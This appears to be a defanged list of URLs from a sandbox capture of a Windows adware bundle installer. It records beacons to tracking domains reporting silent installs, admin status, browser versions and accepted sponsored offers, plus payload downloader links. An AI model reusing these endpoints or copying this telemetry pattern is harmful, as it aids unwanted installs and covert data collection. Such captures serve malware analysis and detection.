hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=657cd9m3NQGxXIjuhqBZpXZFr9sKl2h1/AcH8PricLVP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyJ8HGWzrQJ1r8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyAH52BQS2VDhNPMJ2DRUrFeFuEhupHszFkSmKH5lT07PQ1kgjXHSHi1Pu9FI3 6MG6yVq1Ms99xdbqeG 30JwGYVPchSnxFsXZ8C43sjhztyvOlUODstPenXGtSKDZTuZuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaqTMNUzlv3S3EyJr0Wai9KKHoAa6gky6IUA7dl9owwhL1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwQLRCbW pj1sRrFNS1 cpsg=
hxxp://stats.dropopenobject.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_29&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=17&rnd=1429064943
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1429064970
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064933
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064933
hxxp://logs.dropopenobject.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064960&asw=0_1082139141_-2147475456_0&browser=ff&rnd=1429064960
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429064921&SBPIDS=1
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1
hxxp://logs.dropopenobject.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064960&asw=0_1082139141_-2147475456_0&browser=ff&rnd=1429064960
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064937
hxxp://www.appshat.com/images/4.5stars.jpg
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.3467059525107588
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064933
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.7413327052117108
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.8565851792086028
hxxp://rep.shopper-pro.com/app/ping.ashx?e=emKxDesqhYcsXAWAU9YfxrOyhnbcvLwf 0R MP RL3UJOLXkS9L/h2bktPzt6FdqxfTT8yqkoA8mWSQRWp/qMkNxuHu0vCJ1PWfQa8x9cgckyeawv50oOJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gUJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSn9utsQSo1fcWpgCwEJ5LvUYBlKlGJcuDg 173.239.4.105
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064933
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064934
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?89b22f8bbca3b674
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064940
hxxp://errors.dropopenobject.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=4&rnd=1429064930
hxxp://logs.dropopenobject.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429064926
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064939
hxxp://stats.dropopenobject.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&mdat=&procstarttime=1429064960&procruntime=2&rnd=1429064962
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429064930
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429064984&SBPIDS=1
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c901c26979798c1c
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=2&index_in_screen=1&index_in_session=2&0.061682175257459115
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429064941
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZfTZC8DxP8ZUzMSzzHoKeZnhoWWPiNC12YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P57HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9smoUR/DSN1Jzq8kbQMYE3PNCovy49GhxATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAiBE4y6i2IRaeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsup2a/d4th3rZwfJKZ4NCKSCQ== 173.239.4.105
hxxp://logs.dropopenobject.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429064939
hxxp://stats.dropopenobject.com/installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&procstarttime=1429064960&procruntime=12&rnd=1429064972
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://stats.dropopenobject.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064960&lifetime=0&silent=1&crtnm=na&procstarttime=1429064960&procruntime=12&rnd=1429064972
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=eISsn0A7mAaebxLgvS5H7qpNEI 1DWq5tpbGWL7zrrQ4pnkd WsjWQQHUomMkl9QATvQoDxleFsDxgJnHj3vjx0oWXzPcOQmVR5AawbKoxpMuJJrIhkGUXZ9hofOkBao99rHYRsHXhBFTOc0AzJvJE1lNRDT6ih0kuWOvdnHdKumYTzO WELM7Ot/W9fkCR9YnH606waHUIFsK7/Ya3qp3H4CQmKwMH4r9Jhf/fTQpezt6pbQmh/1TAyVFa8Kky4wWiZseMklSFEZLrLhs96otwo5V3AagblXQpk3ufzer4FsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdYCQwnMzDg3zHYrlb1IcFzDTNXcF9DTrlfGbtKU5bgzqAwHikIrSv vxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe c91abE2NWPTbXnzkx FKQliZexFjJS44GH02ZDTF81o7EaJf8CJfPgEgBl18xKcF6cXD R1QKA== 198.232.124.192
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=ivSYnxWU6cjhuuY8t0g74kvCwL3GJiShhDSdjic6cuPYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBv4H8baHsOR69rCVSgOD piBkFOI09ScJ&product=EXTFirefox&rnd=1429064931&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=M7A8vgjJHrgX0FFcLlqIhlTMxLPMegp5uQCvJzqHBQDZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0lFniNYS8SCXUh6jr A64ihaK9hL93ata/0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z31g28yHncZl0ry31KNAk1YoAnTx32zhJvgkLrIxNpbuQ5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5o0oOHh2ZuBol7seRJcZZoNfTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhrykB6FgH4ntItg==
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064964
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US 63.245.217.36
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hpY1rXLYst7rylc9w7m97SvLfUo0CTVi8EpdpxxWjuKRoZJTpqsyZxASc9FSZWyoGYsEX4kIHltnnIi6DhqTDVTiXSW154aAYra 8n4adNVYtrOl7BfDWPc/boITtVwp1P9gDFCZ6VapvGDt BB/ci1dbz JN6x9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj743oquM6YSXpzpDp5WNdxbzP/mug6NI0uACWBozAPE/QHXC5f7/IDoBSr28YVyfPg8SfsOq8sVv 173.239.4.105
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=1&index_in_screen=1&index_in_session=1&0.22358014514659485
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=4&index_in_screen=1&index_in_session=4&0.2472985872629334
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429064926
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064933
hxxp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=1&index_in_screen=1&index_in_session=1&0.9374496124433497
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064968
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.9986011120462745
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.4506188523473853
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/b/bbbde9554589bda63791709a6785e0a3.png
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064964
hxxp://www.appshat.com/js/lightbox.js
hxxp://www.appshat.com/thumbnails/banner/images/assets/7/f/7fb9f4ca0fa96299334c18ee76c7b68b.jpg
hxxp://ocsp2.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhZyg35kUM7JUe4UHDT5+Nwg== 108.162.232.203
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=2&index_in_screen=1&index_in_session=2&0.028429316928330894
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1429064960
hxxp://www.appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png
hxxp://stats.dropopenobject.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_29&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429064926&procruntime=3&rnd=1429064929
hxxp://www.appshat.com/images/logo.jpg
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=M7A8vgjJHrjHEQ/kk/2L9ixcBYBT1h/GG2VsjeM5FD37RH4w/5EvdUqAWhGQi7pGk2HxL2Lh3QcOAfDk6wxi8lA85yq3z/G8hjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGhZcLy7QdYrKoJyBGq4ONxRzTc4tIltzeL45tr37K5DDG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn9609pFHvExuwUbmkSx215/XH00p6LCl39lOUM6J79LgCK57HYRhYyEMEhKRjPtPBtbhVGyn6D NeEKXCI1fi6Q==
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064965
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= 23.51.123.27
hxxp://logs.dropopenobject.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064969
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064936
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl
hxxp://bi.bisrv.com/installer/ajax
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=1&index_in_screen=1&index_in_session=1&0.9926674870558865
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064933
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064941
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/c/ac5196fbf245580eee113296dff14d0b.png
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hpY1rXLYst7rylc9w7m97SvLfUo0CTVi8EpdpxxWjuKRoZJTpqsyZxASc9FSZWyoGYsEX4kIHltnnIi6DhqTDVTiXSW154aAYra 8n4adNVYtrOl7BfDWH8SRNladdM9bXKriifhG9zxHHFV7tnwhkh7wLZ3uox395lwett3Vo/0XtfJHuT6lKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii3TSfjXL3 wp3Ih1Kfu IMReuT yH/uLbpXYC6GwUCFFL1XwldYyi6o6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9EwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAiBE4y6i2IRaeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsupiqHx/BzdJVIfJKZ4NCKSCQ== 173.239.4.105
hxxp://install.theswiftrecord.com/fp?alpha=DhsWLnpZaXVlYFZlOQR1D19FI3oORwBfOykaVzEmCQ8bLjwMahcqFAgofFspTwoaDwYTaQ1ePA9vRXEeFj9rWH1pb1ExdVo1BD1sK09tI2VNGhViJBkDQVp/cHUWbG8LT1c6fl5hH1EWCVwKNShUCBt6BQ9leCglEx1HcHpZDTQjah1eBXApQkIGOysmC2YRaB4AAHZ0CBZKQnpwZRBpewpDWj94S2BDSBAOSQ0hO1MOAy1XHjksOmpPECcqM14QM2YcBEwHaiIAG198didYcDwcOBFCPXIVHENTe3hzFG5wWQkWNRgCOUIHU09Jfn19B1NHLkRgIXslOxYaRUh6TgszegESHlJDeCtCBjYnexISXXxJBxhiJBEZRE99DXEWa28JSTxJCy8mfEA/VTZE
hxxp://logs.dropopenobject.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926
hxxp://fonts.googleapis.com/css?family=Abel
